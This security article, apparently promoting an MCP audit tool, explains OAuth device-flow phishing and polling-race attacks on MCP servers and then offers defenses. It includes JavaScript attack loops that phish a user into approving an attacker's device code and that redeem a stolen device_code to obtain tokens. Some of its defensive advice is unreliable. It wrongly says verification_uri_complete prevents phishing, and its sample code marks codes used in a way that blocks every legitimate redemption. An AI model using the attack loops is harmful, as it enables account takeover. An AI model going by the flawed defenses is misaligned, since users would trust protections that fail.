Topic: MCP server OAuth device flow security

MCP server OAuth device flow security — phishing and polling attacks

MCP servers deployed as CLI tools or desktop applications frequently use OAuth 2.0 device authorization flow (RFC 8628) for authentication — showing the user a code to enter at a URL rather than opening a redirect. The flow has two attack surfaces unique to device auth: device code phishing (tricking users into authorizing a code issued to an attacker) and polling window attacks (racing to exchange a legitimate code before the owner completes authorization). Both attacks result in the attacker obtaining a valid access token for the victim's account.

How device authorization flow works in MCP

The standard flow for an MCP server that needs delegated access to a service:

  1. MCP server calls POST /oauth/device/code on the authorization server — receives device_code, user_code, verification_uri, and expires_in
  2. Server displays user_code and verification_uri to the user ("Go to example.com/activate and enter: ABCD-1234")
  3. User visits the URI in their browser, authenticates, and enters the code
  4. Meanwhile, the MCP server polls POST /oauth/token with the device_code every interval seconds
  5. Once the user completes authorization, the token endpoint returns an access token

The design assumption is that the user independently navigates to the verification_uri and enters the code they see in their trusted terminal. The attack surfaces arise when that assumption is violated.

Attack 1: Device code phishing

An attacker initiates a device authorization flow against the target service under their own control:

// Attacker initiates a device flow request
const resp = await fetch('https://auth.service.com/oauth/device/code', {
  method: 'POST',
  body: new URLSearchParams({
    client_id: ATTACKER_CLIENT_ID,
    scope: 'read write admin'
  })
});
const { device_code, user_code, verification_uri, expires_in } = await resp.json();
// user_code = "WXYZ-9876"
// verification_uri = "https://auth.service.com/activate"

// Attacker sends a phishing message to the victim:
// "Please authenticate your MCP connection at https://auth.service.com/activate
//  and enter code: WXYZ-9876"

// While victim is being phished, attacker polls for the token:
while (true) {
  const token = await fetch('https://auth.service.com/oauth/token', {
    method: 'POST',
    body: new URLSearchParams({
      grant_type: 'urn:ietf:params:oauth:grant-type:device_code',
      device_code: device_code,
      client_id: ATTACKER_CLIENT_ID
    })
  });
  const data = await token.json();
  if (data.access_token) {
    // Victim completed authorization — attacker now holds their token
    console.log('Token obtained:', data.access_token);
    break;
  }
  await sleep(5000); // poll every 5 seconds per interval
}

The victim sees a legitimate-looking authorization page (it is legitimate — it is the real authorization server) and approves the request. The attacker's polling loop receives the token. The victim believes they authorized their own MCP connection; they actually authorized the attacker's client.

Attack 2: Polling window token race

When a legitimate user_code is obtained by an attacker — through shoulder surfing, log exfiltration, or a network interception — they race the legitimate server's polling loop to redeem the code first. The window is the expires_in period of the device code, typically 15 minutes. The attacker runs their own polling loop targeting the same authorization server:

// Attacker has the device_code (stolen from logs, terminal output, network sniff)
// They need their own client_id that the auth server accepts
// Some auth servers accept any registered client_id against any device_code

const stolenDeviceCode = 'GH5K...'; // obtained by attacker

while (true) {
  const resp = await fetch('https://auth.service.com/oauth/token', {
    method: 'POST',
    body: new URLSearchParams({
      grant_type: 'urn:ietf:params:oauth:grant-type:device_code',
      device_code: stolenDeviceCode,
      client_id: ATTACKER_CLIENT_ID  // attacker's registered client
    })
  });
  if ((await resp.json()).access_token) break;
  await sleep(2000);
}

This works against authorization servers that do not bind device_code to the client_id that originally requested it — a common implementation shortcut. RFC 8628 requires binding (section 3.4), but many implementations omit this check.

Defense 1: Use verification_uri_complete

verification_uri_complete (an optional RFC 8628 field) pre-fills the user code in the URL, so the user never needs to manually type a code — they simply visit the URL and click Approve. An attacker cannot embed a phishing code in a verification_uri_complete URL they control, because the legitimate authorization server's URL is the only one that triggers a real authorization grant.

// Show the user the complete URL, not just the code
const { verification_uri_complete, user_code, expires_in } = deviceCodeResponse;

if (verification_uri_complete) {
  console.log(`Authorize at: ${verification_uri_complete}`);
  // User clicks the link — code is pre-filled — they just approve
  // No manual code entry = no phishable code display
} else {
  // Fallback to manual code (warn the user that this flow is phishable)
  console.log(`Go to ${verification_uri} and enter: ${user_code}`);
  console.warn('Warning: manual code entry is required. Verify the URL before approving.');
}

MCP servers that initiate device flows should check for verification_uri_complete and prefer it. If the authorization server does not provide it, document this in the server's security disclosure and advise users to verify the URL hostname before approving.

Defense 2: Short expiry and one-time use enforcement

Device codes should expire as quickly as usable — RFC 8628 recommends no more than 15 minutes, but for MCP use cases 5 minutes is more appropriate. Additionally, once the code is used (either approved or denied), it must be invalidated immediately and future polls rejected:

// Authorization server implementation: enforce short expiry + one-time use
async function createDeviceCode(clientId: string): Promise {
  const expiresIn = 300; // 5 minutes — not 15 minutes
  const deviceCode = crypto.randomBytes(32).toString('base64url');
  const userCode = generateUserCode(); // e.g. "ABCD-1234"

  await db.run(
    'INSERT INTO device_codes (device_code, user_code, client_id, expires_at, used) VALUES (?, ?, ?, ?, 0)',
    [deviceCode, userCode, clientId, Date.now() + expiresIn * 1000]
  );

  return { device_code: deviceCode, user_code: userCode, expires_in: expiresIn };
}

async function completeAuthorization(userCode: string, userId: string): Promise {
  const grant = await db.get(
    'SELECT * FROM device_codes WHERE user_code = ? AND expires_at > ? AND used = 0',
    [userCode, Date.now()]
  );
  if (!grant) throw new Error('Invalid or expired code');

  // Mark as used BEFORE issuing the token — prevents polling race
  await db.run('UPDATE device_codes SET used = 1, user_id = ? WHERE user_code = ?', [userId, userCode]);
}

The critical ordering: mark the code as used before issuing the token. This prevents the TOCTOU race where two simultaneous redemptions both see used = 0 and both receive a token.

Defense 3: Bind device_code to client_id

Per RFC 8628 §3.4, the authorization server must verify that the client_id in the token endpoint request matches the client_id that requested the device_code:

async function redeemDeviceCode(deviceCode: string, clientId: string) {
  const grant = await db.get(
    'SELECT * FROM device_codes WHERE device_code = ? AND client_id = ? AND expires_at > ? AND used = 0',
    [deviceCode, clientId, Date.now()]
    //                 ^^^^^^^^
    //                 client_id binding — prevents cross-client redemption
  );
  if (!grant) return { error: 'invalid_grant' };
  // ...
}

SkillAudit checks MCP servers that implement device authorization flow for client_id binding in the token endpoint logic. Absence of this check is a High-severity finding.

Audit your MCP server's OAuth device flow implementation for phishing and polling risks.

Run a free audit →